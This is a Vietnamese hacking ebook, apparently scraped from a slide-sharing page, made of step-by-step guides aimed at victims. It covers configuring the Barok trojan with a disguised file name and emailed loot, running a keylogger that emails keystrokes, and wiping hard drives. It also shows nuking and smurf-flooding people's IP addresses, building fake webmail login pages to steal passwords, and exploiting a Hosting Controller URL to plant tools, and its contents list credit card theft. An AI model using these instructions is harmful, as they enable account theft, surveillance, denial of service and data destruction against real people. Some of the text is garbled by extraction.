+ Tiếp theo là ta làm sao chuyển cái file đó vào thư mục chứa trang chủ của nạn
nhân , theo mặc định nó sẽ nằm ở đây :
C:Program FilesAdvanced CommunicationsNT Web Hosting Controllerweb
( Các bạn có thể thay ổ C: bằng D: , E: )
+ Khi xác định được chính xác địa chỉ rùi ta sẽ tìm đoạn script để làm giúp :
http://[targethost]/admin/import/imp_rootdir.asp?result=1&www=C:&ftp=C:(
đường dẫn đến thư mục web victim )&owwwPa th=C:&oftpPath=C:( đường dẫn đến
thư mục ta vừa upload file )
+ Các bạn có thể test đường dẫn file up lên có chính xác không bằng cách up lên file
a.html bất kỳ , giả sử nó được up lên nằm ở C:Program FilesAdvanced
CommunicationsNT Web Hosting Controllerwebadmina.html ta sẽ test bằng cách
đánh đường dẫn ở URL :
http://wWw.Hack.Cf Page 192
www.victim/admin[avdadmin]/a.html
+ Nếu như đúng là chính xác rồi thì chỉ cần up “Đồ nghề” lên là xong , .
----------------------------------------------------------------------------------------------
GOODLUCK!!!!!!!!!!!!!!!!!
( Hết phần 9 )
Bài viết của ANHDENDAY
type lệnh thì phải type cho đúng, tập cẩn thận cho quen đi nhé/
netstat -option ( với options là gì thì type netstat -help)
netstat -help
Displays protocol statistics and current TCP/IP network connections.
NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]
-a Displays all connections and listening ports.
-e Displays Ethernet statistics. This may be combined with the -s
option.
-n Displays addresses and port numbers in numerical form.
-p proto Shows connections for the protocol specified by proto; proto
may be TCP or UDP. If used with the -s option to display
per-protocol statistics, proto may be TCP, UDP, or IP.
-r Displays the routing table.
-s Displays per-protocol statistics. By default, statistics are
shown for TCP, UDP and IP; the -p option may be used to specify
a subset of the default.
interval Redisplays selected statistics, pausing interval seconds
between each display. Press CTRL+C to stop redisplaying
statistics. If omitted, netstat will print the current
configuration information once.

Ky thuat hack

  • 1.
    http://wWw.Hack.Cf Page 1 Ebookkỹ tShuật hack  hướng dẫn sendmail nặc danh với Anonym Mailer 2.0  hướng dẫn sử dụng phần mềm aiepr  hướng dẫn sử dụng trojan barok  hướng dẫn sử dụng phần mềm revelation  hướng dẫn sử dụng keylogger 5.04  hướng dẫn sử dụng bommail demo  hướng dẫn sử dụng chương trinh hdkp4  hướng dẫn sủe dụng các chương trinh nuke  hướng dẫn sử dụng chương trinh ShowPass  hướng dẫn sử dụng chương trinh smurf2k  hướng dẫn sử dụng phần mềm Stealther để dấu IP
  • 2.
    http://wWw.Hack.Cf Page 2 hướng dẫn hack tất cả các webmail bằng fakelogin  hướng dẫn xài công cụ Essential NetTools để lấy account chùa  hack credit card qua lỗi acart2_0  hack credit card qua lỗi SalesCart Database Storage Insecurity  hack credit card qua lỗi VP-ASP  hack credit card qua lỗi trong file shopper.cgi  hack credit card của Cart32 Sites  một bài viết về cvv2  hack server NT qua 1 số lỗi đã cũ  khai thác lỗi hosting controller (HC)  linux shell utils (by Microsoftvn)  exploit for the "unbreakable" oracle database (by Microsoftvn)  hack 1 hệ thống CisCo linux (by Microsoftvn)  tự setup 1 cgiproxy riêng cho minh  sơ qua về tấn công từ chối dịch vụ  tổng hợp các lệnh của mIRC  hướng dẫn làm một freedback form  một vài link Free Sub Domain And Hosting  Thư Viện Sách  Welcome Việt Nam  Cơ bản Cron trên Unix ( by Vicki )  3 bước kiểm tra Card  Hướng dẫn sử dụng NetCat  Làm thế nào để Spam ? ( by Vicki Group )  Bài viết tổng hợp về Hack của Squall Leonahart  Tìm hiểu về SQL Injection ( by Vicki Group )  Tìm hiểu về tràn ngăn xếp trên Windows ( by Vicki Group )  Bài viết thoả hiệp Vnexpress của VKDT ( by Vicki Group )
  • 3.
    http://wWw.Hack.Cf Page 3 Hack anon@FTP ( by Kha Administrator Việt Hacker )  Chạy File từ WebSite hay Email ( IE5.5, Win 2000 )  Hack IIS server với bug unicode  Format hard disk bằng email  Mask Link  Trojan chạy ngay sau khi mở email  Hack Apache server với bug phf , và một số Bug khác  Gửi thư nặc danh, bomb thử bằng Telnet  Xâm nhập máy tính khi đang Online  Hướng dẫn Hack Local Site ( by Lukos )  Cross Site Scripting ( by Binhnx )  Hướng dẫn Deface 1 Website  Một số phương pháp Hack Email ( by Staff of HVA )  Các kiểu tấn công hiện đại của Hacker ( by Staff of HVA )  Những hiểu biết cở bản để trở thành Hacker ( by Staff of HVA ) Designer and Copyright Hướng Dẫn SendMail Nặc Danh ! ok, tên chương trình này là Anonym Mailer 2.0, phương thức hoạt động là sử dụng chính server của Anonym Mailer 2.0 để làm công việc vốn dĩ chẳng tốt đẹp gì là " sendmail nặc danh" ! cái này rất nguy hiểm đó nha......nó làm cho 1 đôi đang yêu nhau thành giận nhau ! 2 người bạn đang chơi thân thành oánh nhau ! nói chung là méo mặt với nó nếu người nhận thư không biết gì về blacknet ! download here ok, sử dụng phần mềm này vô cùng đơn giản, hãy làm như hình dưới đây và bạn sẽ thấy nó lợi hại thế nào !
  • 4.
    http://wWw.Hack.Cf Page 4 chúý: chỉ được dùng thử 30 ngày ! sau 30 ngày đó bạn phải đăng ký, các bạn tự tìm crack hoặc mua lấy dùng, đặc biệt khi giới thiệu phần mềm này mình không khuyến khích các bạn đi phá hoại, nhưng với những kẻ quá khó chịu thì không nể nang gì cả mà giả email của bạn gái hắn chửi cho hắn một trận !! chúc vui vẻ Phần Mềm Aiepr làm cách nào để khoá IE : Download Here vào internet options INCLUDEPICTURE "http://ptv5online.com/Hackofnew/aiepr/aiepr/huongdan/images/a.gif" * MERGEFORMATINET vào tab content
  • 5.
    http://wWw.Hack.Cf Page 5 clicktrên enable và chọn những site cần khoá, hoặc có thể khoá bất kì site hay website nào bạn không muốn người khác xài máy của bạn có thể vào được ( phần này các bạn tự tìm hiểu ) khi gặp phải trò đùa này của 1 người nào đó trên máy tính của bạn thì thật là khó chịu ! bạn không biết password để vào web ! chả nhẽ setup lại windows hay gost lại PC của bạn chỉ với 1 trò đùa cỏn con đó ! tìm cách giải quyết vậy ! làm cách nào để phá password IE : download phần mềm aiepr ở đây sau khi unzip, setup các bạn vào program để chạy chương trình click vào icon chìa khoá để enter seria INCLUDEPICTURE "http://ptv5online.com/Hackofnew/aiepr/aiepr/huongdan/images/2.jpg" * MERGEFORMATINET enter seria key ( có sẵn trong file .zip các bạn download ) INCLUDEPICTURE "http://ptv5online.com/Hackofnew/aiepr/aiepr/huongdan/images/3.jpg" * MERGEFORMATINET báo đăng ký thành công
  • 6.
    http://wWw.Hack.Cf Page 6 *clickvào biểu tượng như hình để thực hiện các lệnh về password của IE +delete password cũ của IE ( phá password ) +gõ password mới và click change password nếu bạn muốn change password cũ ( bạn không cần biết pw này vẫn change được ) khi thay đổi thành công +khi muốm lấy lại password cũ khi password cũ được lấy thành công
  • 7.
    http://wWw.Hack.Cf Page 7 *clicktrên biếu tượng như hình sau để xem các pw và thông tin cho phép save trong máy màn hình hiển thị *cuối cùng là chức năng coi những password đã được save trong máy khi bạn click save khi login thông tin thêm: phần mềm này là sản phẩm của hãng Elcom, bản này đã được mua sẵn cho bạn. chúc vui vẻ +++++++++++++++++++ anhlanonline@yahoo.com Hướng Dẫn Sử Dụng Trojan Barok
  • 8.
    http://wWw.Hack.Cf Page 8 trojan,backdoor,... đã được nhiều hacker việt nam sử dụng từ rất lâu rồi, khoảng cách đây 4 năm, thế nhưng hiện nay còn rất nhiều người chưa biết cách xài, mặc dù là những trojan "cổ" và thông dụng ! vì vậy xin viết bài này với mục đích hướng dẫn những bạn chưa biết sử dụng con trojan barok. Download Here ( chú ý là trong quá trình làm việc với trojan các bạn phải disablen notron-antivirus đi, và các bạn đừng sợ bị nhiễm vì nếu làm đúng cách sẽ không sao hết, điều này tương tự như đùa nghịch với một quả lừu đạn vậy, biết thì không sao muh không biết là.... tờ iêu tiêu !), sau khi unzip các bạn thấy có tất cả ba file như sau : click vào file setup để setup cho server của con trojan này ( ở đây các bạn lưu ý một chút là hầu hết các trojan có dung lượng server rất nhỏ và cilent thì lớn hơn, do phần server sẽ là phần gửi đi cho victim hoặc đính kèm vào website còn phần cilent thường dùng để hỗ trợ cho server hoặc xài để điều khiển ) : sau khi click vào file setup các bạn chọn file server và click Open như hình dưới : đây là màn hình hiển thị của barok sau khi open server :
  • 9.
    http://wWw.Hack.Cf Page 9 +các bạn chọn tên file muốn victim nhìn thấy sau khi lây nhiễm vào máy tính trong mục Filename, theo kinh nghiệm trong phần này nên để tên gì ví dụ như system.exe hay cái gì đó tương tự để victim không dám shutdown khi trojan đang chạy +trong phần Outgoing Mail Server (SMTP) và phần Destination Mail viết SMTP và email của bạn, lưu ý rằng SMTP không nhất thiết phải là SMTP của email, và cái này viết SMTP nào cũng được miễn là hỗ trợ sendmail để trojan send email ngược lại, về điều này có lẽ cần bàn thêm 1 chút, vì phần này là quan trọng nhất, trojan hoạt động được hay không là do cấu hình phần này tốt : *SMTP gõ vào bắt buộc phải hỗ trợ sendmail mà không cần phải đăng ký *các bác test SMTP của thằng yahoo coi sao : mta469.mail.yahoo.com mta545.mail.yahoo.com *SMTP hồi xưa rất nhiều, hỗ trợ sendmail mà không cần phải đăng ký, còn bây giò phải đăng kí mới được sử dụng dịch vụ này, các bạn tham khảo và test SMTP ở bài viết hướng dẫn sử dụng bommail demo sau đó chọn chế độ gửi thông tin về bất cứ lúc nào victim online (Every Online) hoặc có thể chọn số ngày gửi thông tin về (Every ...day&up ) theo kinh nghiệm mình khuyên các bạn nên chọn số ngày, vì nếu chọn box đầu thì sẽ phải nhận rất nhiều thư ( mỗi khi victim online là 1 email mà) ....trừ khi để quản lí người iu thì mới chọn box Every Online.....heheh
  • 10.
    http://wWw.Hack.Cf Page 10 saukhi cấu hình xong cho server của barok bạn click vào Save Server như hình trên, lúc đó bạn sẽ nhận được màn hình chúc mừng server đã save thành công như sau : tiếp sau đó click Exit để thoát khỏi cấu hình : lúc này là ok rồi đó, bạn sẽ phải sử dụng con server ( vừa được bạn cấu hình ) để send cho victim hoặc gắn nó vào một trang web nào đó rồi rủ victim vào chơi ! ( phần gắn server vào web này mời các bạn đọc trên website trong những bài sử dụng công cụ gắn trojan vào web và sử dụng website để lấy trộm account internet ) chúc các bạn thành công và nghịch vui vẻ ! +++++++++++++++++++ anhlanonline@yahoo.com Hướng Dẫn Sử Dụng Phần Mềm Revelation revelation là phần mềm lấy lại password đã quên ( đựơc mã hoá dưới dạng *****) các ví dụ về chức năng của phần mềm này: +khởi động chương trình ( sau khi download, unzip và setup) : Download Here
  • 11.
    http://wWw.Hack.Cf Page 11 +soipasword của yahoo chat khi có ai đó "trót dại " save password lại ! +soi password của pop mail tong outlook. đầu tiên vào tool--->account : sau đó vào tab mail, click vào account cần tìm lại pw và click propertes :
  • 12.
    http://wWw.Hack.Cf Page 12 chọntab server và kéo " ống nhòm" của revelation vào password mã hoá dạng **** , vbạn sẽ thấy password trên dòng status của revelation ( pw trong ví dụ này là "bimat!") : +phần mềm này cũng soi được password trong yahoomail login :
  • 13.
    http://wWw.Hack.Cf Page 13 haytrong hotmail login cũng vậy : +những thông tin thêm : revelation không làm việc trên windows XP ( vì windows XP sử dụng mã hoá 128bit ), đây là phần mềm free ! các bạn có thể ghé thăm website chính của nó tại : http://www.snadboy.com Sử Dụng Keylogger 5.04 *Bài viết với mục đích học tập. mình không khuyến khích các bạn đi phá hoại và hoàn toàn không chịu trách nhiệm với bài viết của mình.
  • 14.
    http://wWw.Hack.Cf Page 14 Chàocác bạn, hôm nay mình xin giới thiệu đến các bạn 1 công cụ rất hay và khá ấn tượng, đó là keylogger...Tại sao lại ấn tượng. Là bởi vì nó cho phép người dùng kiểm soát toàn bộ bàn phím của 1 máy tính dù rằng không cần ngồi ở máy tính đó...... Ok! chúng ta bắt đầu tìm hiểu. Download Here bước 1 Ver 5.04.zip trong bài này dành cho tất cả các phiên bản windows.Trong đó có sẵn file register Đó là key đăng ký để có thể sử dụng hết các chức năng của keylogger bước 2 Sau khi dowload keylogger về, các bạn double-click lến biểu tượng keylogger , sau khi được cửa sổ như trên, các bạn tiếp tục click vào Etract để setup. bước 2
  • 15.
    http://wWw.Hack.Cf Page 15 Saukhi setup xong các bạn vào thư mục vừ setup keylogger double-click vào biểu tượng bàn phím để cấu hình cho keylogger, tại box " Longin Engine Status " các bạn click vào start để bất đầu cho keylogger hoạt độngcheck vào autostart để cho keylogger tự động làm việc khi window khởi động.Coi hình dưới. Tại box " logfile Configuration " nếu muốn thay đổi đường dẫn để mở keylogger các bạn click vào " change.." để thay đổi cho hợp ý mình, thư mục mặc định là thư mục chứa bộ setup keylogger của các bạn ( phần này không cần làm nếu bạn không muôn change đường dẫn chứa dữ liệu của keylogger bước 3 tại box các ban muốn keylogger chụp hình hiển thị của máy tính bao nhiêu phút 1 lần , check số phút mà bạn muốn vào box.Mặc định là 10 phút 1 lần, số phút nhỏ nhất có thể được là 1 phút.
  • 16.
    http://wWw.Hack.Cf Page 16 bước4 Cấu hình để keylogger gửi email về cho các bạn. Đầu tiên gõ email của bạn trong box " send To " , còn box Sender's eMail để nguyên, box " SMTP Host " các bạn gõ SMTP server của server email các bạn vào và chọn số thời gian keylogger send email trong box " Send file every " mặc định là 30 phút, còn có thể thay đổi tuỳ theo ý thích của bạn. bươc 5 Set password cho keylogger của bạn khỏi bị người khác xâm nhập bằng cách check vào box " Password Protection " sau đó chọn password của bạn. Crack cho keylogger: các ban crack với Username: vicki và Key: LGvFzeX= crack này có trong file crack các bạn dowload ban đầu.Coi hình.
  • 17.
    http://wWw.Hack.Cf Page 17 Ok!, đến đây là xong rồi đó !, nếu muốn coi bàn phím đã gõ những gì bạn vào thư múc chứa keylogger ckick vào biểu tượng bàn phím sau đó ckick vào view và chọn file các bạn mặc định để coi ckick next để coi ví dụ những gì mà keylogger lấy được từ bàn phím Chúc các bạn thành công.Các bạn có thể tham khảo thêm tại http://www.keylogger.de Sử Dụng MailDemo Để Bommail *Bài viết với mục đích học tập. mình không khuyến khích các bạn đi phá hoại và hoàn toàn không chịu trách nhiệm với bài viết của mình. bước 1 Sau khi unzip và chạy chương trình ta sẽ thấy giao diện của chương trình như sau Download Here
  • 18.
    http://wWw.Hack.Cf Page 18 bước2 Chọn server dùng để bommail trong như trên.Sof này có 2 server cho bạn chọn.Nếu bạn thích đính kèm file khi bommail bạn làm như hình sau:
  • 19.
    http://wWw.Hack.Cf Page 19 sauđó chọn file và attach vào bước 3 đánh số lượng mail muốn bom vào và điền các thông tin cần thiết. Ta sẽ có 1 giao diện giống như hình trên bước 4 click vào connect : bước 5
  • 20.
    http://wWw.Hack.Cf Page 20 Clickvào nút play để bắt đầu bommail bước 6 Sử lý sự cố khi send bom có vấn đề. Khi có thông báo không thể connect to server. Chọn một server khác .Thông báo lỗi như sau: Lúc đó có ngiã là chương trình chưa connect vào đựoc server để bommail. Bạn cần 1 server khác hỗ trợ việc gửi mail để connect bạn có thể lấy server tại đây để phục vụ cho công việc của mình Sau cùng click Play để bommail. Chúc các bạn thành công ! +++++++++++++++++++ anhlanonline@yahoo.com
  • 21.
    http://wWw.Hack.Cf Page 21 Windows,HardDrive Killer okies ! hôm nay mình sẽ giới thiệu đến các bạn 1 vài phần mềm vô cùng nguy hiểm ! chỉ cần 1 click chuột là ổ cứng của bạn tiêu ngay lập tức ! chú ý: chỉ đọc, nếu thực hành ngay trên máy bạn, 99% ổ cứng của bạn sẽ hỏng ! không khuyến khích đi phá hoại ! đầu tiên các bạn download chương trình có tên hdkp4 tại đây. đây là sản phẩm của website http://www.hackology.com sau khi unzip các bạn thấy tất cả có 5 file, okies: công việc " phá hoại" cực kì đơn giản chỉ bằng 2 click chuột vào file hdkp.exe như hình trên là........ổ cứng của bạn sẽ chết ngay trong lần sau khởi động máy! chớ có dại mà thực hành ngay, trừ khi bạn muốn thay ổ cứng mới, còn nếu không, kỹ thuật phục hồi ổ cứng sau khi dính con này chưa có ở việt nam ! giải thích quá trình làm hỏng ổ cứng: ngay sau khi click vào file, chương trình sẽ bắt đầu phá hoại tất cả data trên ổ cứng của bạn, mặc dù cho bạn có dừng chương trình giữa chừng thì vẫn thế ! trong lần sau khởi động máy tính chương trình sẽ tự động tiếp tục chạy ! chương trình này hoạt động nhờ vào thay đổi những thông tin trong file .bat vốn rất quan trọng trong windows ! nó sẽ phá các track từ ổ cứng và bạn khó mà có thể phục hồi lại dữ liệu hay làm gì với ổ cứng bạn có, sau khi chạy chương trình ổ cứng của bạn coi như là cục sắt ! không làm gì được ngoài cách vứt vào sọt rác ! chú ý : chương trình này không làm việc trên những ổ cứng dòng MACS ! Ngoài ra, mình còn có 1 vài phần mềm khác muốn...chia sẻ với các bạn, tính chất cũng là phá hoại y như thế, hdd và windows , nhưng với mức độ nhẹ hơn các bạn có thể dowload format winkill winkill32 +++++++++++++++++++ anhlanonline@yahoo.com Sử Dụng Nuke
  • 22.
    http://wWw.Hack.Cf Page 22 *Bàiviết với mục đích học tập. mình không khuyến khích các bạn đi phá hoại và hoàn toàn không chịu trách nhiệm với bài viết của mình. NuKe rất lợi hại. Lợi hại chỗ nào? Đó là nếu ta biết được 1 địa chỉ ip của một máy tính bất kỳ (máy tính quay số vào mạng bằng modem và tất nhiên ip của nó do thế sẽ là ip động.) Thì ta hoàn toàn có thể cho ip đó disconnect , cho dù ip đó là ip của cả 1 mạng LAN hay ip của một máy đơn người dùng thông thường.Trong bài hướng dẫn này không đi sâu, mà chỉ nêu các xác định 1 ip thông qua 1 số con đường và nơi có thể tìm thấy phần mềm nuke lợi hại này, cũng như cách sử dụng chúng. Xác Định Địa Chỉ IP Của Một Người: Có nhiều cách xác định địa chỉ ip, Các bạn chat trong iRMC có những cách rất hay ( nhưng rất tiếc mình không chat trong đó nên không biết :) ) Còn các bạn admin của site nào đó có thể thấy ip của member khi họ port bài. cũng có thể dùng phần mềm để xác định địa chỉ ip của 1 người bạn quan hệ.... Ở đây mình giới thiệu 1 cách xác định địa chỉ ip của 1 người qua chat Aol , ICQ, MSN, hoặc Yahoo..... bước 1 Nếu bạn dùng Window Xp bạn vào start -->run-->gõ cmd như trên hình rồi click ok Nếu bạn xài những hệ điều hành Window khác có thể vào start-->run-->đánh lệnh command như hình dưới , sau đó cũng click ok
  • 23.
    http://wWw.Hack.Cf Page 23 bước2 Khi có 1 hộp thoại hiện ra, bạn tìm dòng C:Documents and settingstên sử dụng> và gõ netstat -an như hình trên.Khi đó địa chỉ ip của máy các bạn sẽ nằm phía bên trái cửa sổ hiển thị . Còn những địa chỉ ip các bạn có kết nối đến sẽ hiện phía bên phải cửa sổ như hình sau đây:
  • 24.
    http://wWw.Hack.Cf Page 24 Trênhình địa chỉ ip của mình nằm ở phía bên trái ngiã là 203.162.19.222 . Những địa chỉ ip mình có kết nối đến nằm ở phía bên phải . Đó là các ip: 202.156.156.168 ; 216.136.233.138 ;194.19.127.21 ....... Nếu bạn chat của các bạn ở việtnam thì đỉa chỉ ip sẽ bắt đầu là 203.162... do đó chỉ cần tìm những địa chỉ ip bắt đàu với 203.162.... như hình trên, mình đang chat với 1 người qua yahoo , ở việt nam-->ip của người đó là 203.162.7.221 ....OK? Nếu đã hiểu các bạn click next . bước 3 NUKE ! Có rất nhiều chương trình nuke, đây mình xin hướng dẫn 1 trình cơ bản tên là Assault Màn hình hiển thị của Assult như hình dưới đây: Các bạn gõ ip cần nuke vào khung "Host" trong khung "port " là cổng các bạn muốn bomber .Thông thường là 139,113,11,119,80 những bõ khác để nguyên và click ICM ECHO dưới đây là cửa sổ hiển thị của Assault khi chạy, trong ví dụ này mình đang bom port 80 tức là cổng duyệt word wide web. Để có thêm chi tiết các bạn click here để có thể biết rõ hơn về Port Number và Service.
  • 25.
    http://wWw.Hack.Cf Page 25 Saukhi chạy được 1/2 số packs đảm bảo victim disconnet khỏi mạng. hê hê hê. Cách duy nhất là reconnect Click next để dowload các chương trình nuke. DOWLOAD NUKE dưới đây là một số hình để minh hoạ những chương trình nuke mà mình có: (các bạn có thể download chúng ở đây )
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
    http://wWw.Hack.Cf Page 30 nhiềuhơn nữa: expgen085 ; udp2 ; udp5......... +++++++++++++++++++ anhlanonline@yahoo.com
  • 31.
    http://wWw.Hack.Cf Page 31 PhầnMềm ShowPass mình xin giới thiệu đến các bạn phần mềm ShowPass +hệ điều hành áp dụng: windows 95,98,98se,Me ( không dùng được với windows 2000 trở lên ) +chức năng: tìm lại username và password connect vào internet khi lỡ quên hay bị mất ( mà đã save vào máy ) +ứng dụng : khi quên, mất, hoặc xài để ăn trộm account từ máy đang ngồi +cách dùng: sau khi unzip, click vào file showpass để chạy chương trình, sau đó click nút "DIALUPs" để tìm lại hay ăn trộm account +homepage của phần mềm này http://www.xcoder.com +++++++++++++++++++ anhlanonline@yahoo.com hướng dẫn sử dụng smurf2k đầu tiên các bạn download chương trình này tại đây sau khi unzip , thấy 2 file broadcast.txt và Smurf2K.exe click vào file Smurf2K.exe nhìn thấy giao diện như sau : trong những bài trước, các bạn đã được học làm thế nào để tìm ip của 1 người đang online hoặc 1 website ok , bây giờ việc đơn giản để đi đến đích là bạn gõ IP của nạn nhân vào box victim, rồi click smuf :
  • 32.
    http://wWw.Hack.Cf Page 32 tronghình trên mình ví dụ IP của nạn nhân là 203.162.24.12 giờ mình sẽ nói tiếp công cụ này hoạt động như thế nào: trước hết mục đích của công cụ này là send các gói dữ liệu đến website hoặc máy tính của nạn nhân, nhằm mục đích bắt máy tính của nạn nhân hoặc website đó phải send trở lại 1 gói dữ liệu, chuyện này là rất bình thường, nhưng do send quá nhiều đến website hay PC , do đó website hay PC sẽ bi treo tạm thời, công cụ này sử dụng rất nhiều IP ( có trong list của file broadcast.txt ) vào mục đích trên: các bạn có thể mang supperscan lên mạng quét ip đang online để thêm vào list này những IP mới nhằm mục đích cho cuộc tấn công diễn ra thuận lợi, càng nhiều IP càng tốt !
  • 33.
    http://wWw.Hack.Cf Page 33 chúcvui vẻ ! +++++++++++++++++++ anhlanonline@yahoo.com HƯỜNG DẪN SỬ DỤNG PHẦM MỀM Stealther Download Giới thiều : Stealther là một phần mềm kết hợp với trình duyệt IE giúp bạn đảm bảo sự "nặc danh" khi duyệt web vào download files,Stealther giúp bạn che giấu IP thật của mình khi ghé thăm các website, chặn các Cookie nguy hiểm và đảm bảo sự bảo mật cho thông tin từ máy tính của bạn khỏi các website "tình báo". Stealther bảo vệ mức tối đa quyền cá nhân của bạn khi lướt web, Stealther luôn luôn tự động cập nhật những anonymous proxy và kiểm tra khả năng "nặc danh" của các proxy đó.... Nói tóm lại Stealther là một phần mềm tuyệt vời đối với những người muốn an toàn khi lên mạng. Hướn dẫn sử dụng : Cài đặt : Sau khi download bạn chạy file stealther_setup.exe để bắt đầu quá trình cài đặt:
  • 34.
    http://wWw.Hack.Cf Page 34 Khichạy file stealther_setup.exe sẽ có một thông báo như hình trên yêu cầu lựa chọn ngôn ngữ cài đặt, bạn chọn mặc định là English (UK) Sau đó bạn làm theo các hướng dẫn trong quá trình cài đặt sau khi cài đặt xong bạn chọn 1 trong 2 lựa chọn. 1 là khởi động lại windows, 2 là khởi động sau, tiếp tục quá trình.
  • 35.
    http://wWw.Hack.Cf Page 35 Kếtthúc quá trình cài đặt bạn cần phải Crack phần mềm để sử dụng được hết tất cả các chức năng của nó Crack: Để crack chương trình bạn cần download bản crack ở đây Trước khi crack bạn cần phải close chương trình lại, unzip file vừa download và copy file crack.exe vào cùng thư mục vừa cài đặt Stealther mặc định là C:Program FilesStealther.
  • 36.
    http://wWw.Hack.Cf Page 36 Chạyfile crack.exe, quá trình crack thành công bạn sẽ nhận được thông báo : Nhưng bạn đừng tưởng đến đây là đã crack được và đã có thể sử dụng được hết chức năng của nó nghe :) khì khì Tiếp theo bạn chạy Stealther sẽ xuất hiện một biểu tượng nho nhỏ trong system tray Dubble Click hoặc Click phải chuột chọn Show windows. Vào menu File --> Unlock Trial Version Nhập tên bạn ( gõ liền ) rồi nhấn Unlocknow!, Unlock thành công bạn sẽ nhận được thông báo
  • 37.
    http://wWw.Hack.Cf Page 37 Okcrack xong rồi bây giờ đến cách thiết lập để có thể "nặc danh" khi lướt web. connect hoặc sẽ dùng để Thiết lập cấu hình cho IE bạn vào Internet option --> Connections --> chọn Connection sẽ "nặc danh" (connection mà bạn đang connect nếu bạn thiết lập cho một connection mà connect bằng connection khác thì sẽ không có tác dụng gì hết) --> Settings Tiếp theo bạn chọn Use a proxy server rồi chọn Advanced..
  • 38.
    http://wWw.Hack.Cf Page 38 Nhậpvào mục HTTP : Proxy address to use : 127.0.0.1 Port 14000 --> OK thế là xong tiết mục thiệt lập thông số cho IE giờ đến tiết mục thiết lập cho Stealther.
  • 39.
    http://wWw.Hack.Cf Page 39 Thiếtlập cho Stealther cũng đơn giản như thiết lập cho IE thôi. Show windows để mở cửa sổ chính của chương trình, trong cửa số chính bạn có 3 lựa chọn trong mục Change Surfing Mode to để lựa chọn mode "nặc dạnh" theo tôi lựa chọn tốt nhất là lựa chọn thứ 2 Strealth Mode. Tiếp nữa bạn vào menu Proxy-engine --> View/Edit/Check để xem proxy list. Bạn có thể thêm, sửa, xoá, check proxy để sử dụng.
  • 40.
    http://wWw.Hack.Cf Page 40 Đểthêm 1 proxy vào list bạn vào munu Edit --> Add new proxy entry
  • 41.
    http://wWw.Hack.Cf Page 41 Nhậpproxy như hình trên rồi nhấn Apply, ban cũng có thể Add nhiều proxy một lúc vào list bằng cách copy và paste Để có thể có nhiều proxy để thêm vào list bạn có thể lấy ở đây, bạn copy và paste vào proxy list. Để kiểm tra proxy bạn vào menu Check --> Check All hoặc Check Selected. Một proxy tốt thì sẽ có mục Working là yes nếu proxy nào có khả năng "nặc danh" thì mục Anonymos là Yes. Bạn có càng nhiều proxy như vậy thì càng tốt. Khi xong xuôi những bước trên, để kiểm tra xem thành quả của các quá trình bạn thực hiện, bạn vào đây để check xem proxy bây giờ của bạn thế nào. Ok. hết! Chúc bạn thành công! Hướng Dẫn Hack Tất Cả Các Webmail (dành tặng Nguyễn Phương Anh ) trò này thực ra đã có từ rất lâu rồi, website anhlan cũng đã viết bài hướng dẫn chi tiết ngay từ những ngày đầu, khi mà con số người biết về trò này ở việt nam còn rất ít, do site anhlan.com dow nên data bị mất, mình nghĩ rằng ai cũng biết trò này, hì, nhưng thấy có nhiều người hỏi quá nên hôm nay cho phép mình được post lại bài này với mức độ chi tiết nhất có thể , bài viết này xin dành tặng bạn gái của mình: Nguyễn Phương Anh (YM: tinh_yeu_tre_con ) ok, let's go ! chúng ta cùng bắt đầu ! Tạo SoucreCode Riêng Cho Bạn tại sao mình lại nói thế? trong bài viết này bạn sẽ học cách lấy trộm password email của tất cả các webmail ! ví dụ như @ttvnonline.com, fastmail.ca , @hn.vnn.vn,
  • 42.
    http://wWw.Hack.Cf Page 42 @fptnet.com...chứ không phải chỉ riêng yahoo hay hotmail , vì vậy trong bước 1 này mình muốn hướng dẫn cách để có một cái soucre để sử dụng sau này. bước 1: các bạn vào http://www.bravenet.com sau đó gõ email của các bạn ( email ở webmail nào cũng được, ví dụ như tenban@yahoo.com hay tenban@hotmail.com hay tenban@ttvnonline.com đểu được, miễn là bạn sở hữu hòm mail đó-và đây là hòm mail các bạn sẽ nhận password của victim sau này ! ) vào box như trong hình rồi click join : bước 2: checkmail tại email mà bạn vừa enter ( của mình phải check hòm mail alonedrinkwine@msn.com còn các bạn sẽ check hòm mail của các bạn xài để đăng ký ) click vào link mà bravenet vừa đưa cho như hình dưới đây : sau khi click sẽ có một cửa sổ đăng ký account các bạn đăng ký một account trong trang này, đây là mẫu đăng ký của mình, còn các bạn tự chọn, xin nói qua là phần này không quan trọngvà không phải ghi chính xác thông tin của bạn !
  • 43.
    http://wWw.Hack.Cf Page 43 điềuquan trọng nhất trong phần này là box "website URL" .Tại box này bạn hãy enter địa chỉ mà bạn muốn victim nhìn thấy sau khi click vào form fakelogin của các bạn, trong ví dụ này mình chọn site riversongs.com -là một site về ecard :
  • 44.
    http://wWw.Hack.Cf Page 44 saukhi click register như hình vẽ bạn sẽ thấy 1 trang tiếp theo, không cần làm gì cả ngoài click vào continue như hình : sau khi click như trên sẽ có 1 trang mới hiện ra với lời chào mừng đăng ký thành công như hình dưới : okies, giờ bạn tìm box login như hình dưới đây , sau đó gõ user và password của bạn vào ( vừa đăng ký với bravenet ) rồi click Login sau khi login được vào bạn tìm mục Email Forms như hình dưới đây và click vào: click vào rồi sẽ nhìn thấy một đoạn mã lằng nhằng như hình dưới ! các bạn chú ý coppy thật chính xác đoạn bắt đầu từ <form action=......cho đến...... value="1" /> như hình dưới đây:
  • 45.
    http://wWw.Hack.Cf Page 45 okies,ghi nhớ lấy đoạn mã này vào bất cứ đâu như word hay notepad để sử dụng cho sau này , nó là của riêng bạn ! giờ click next để qua trang 2 với cách sử dụng soucre này để ăn trộm pw email của các webmail. sau khi có đoạn soucrecode của riêng bạn rồi,save nó lại rồi, bạn bắt đầu học cách hack password của một vài webmail thông dụng, sau đó làm tương tự cho bất kỳ webmail nào khác mà bạn biết ! Hack Password YahooMail sau khi vào trang http://mail.yahoo.com bạn click chuột phải vào một khoảng trống bất kỳ, chọn View Soucre như hình dưới : tìm thẻ <head> , thẻ này ở ngay đầu tiên sau thẻ <html> các bạn paste đoạn code lúc nãy vào ngay dưới thẻ này như hình dưới :
  • 46.
    http://wWw.Hack.Cf Page 46 saukhi paste vào, bạn vào menu file, chọn Save As như hình : trong cửa sổ Save As này phần save as type chọn là All Files như hình bên : sau đó gõ File name là yahoo.htm ( hay login.htm tuỳ bạn miễn là có .htm đằng sau !)
  • 47.
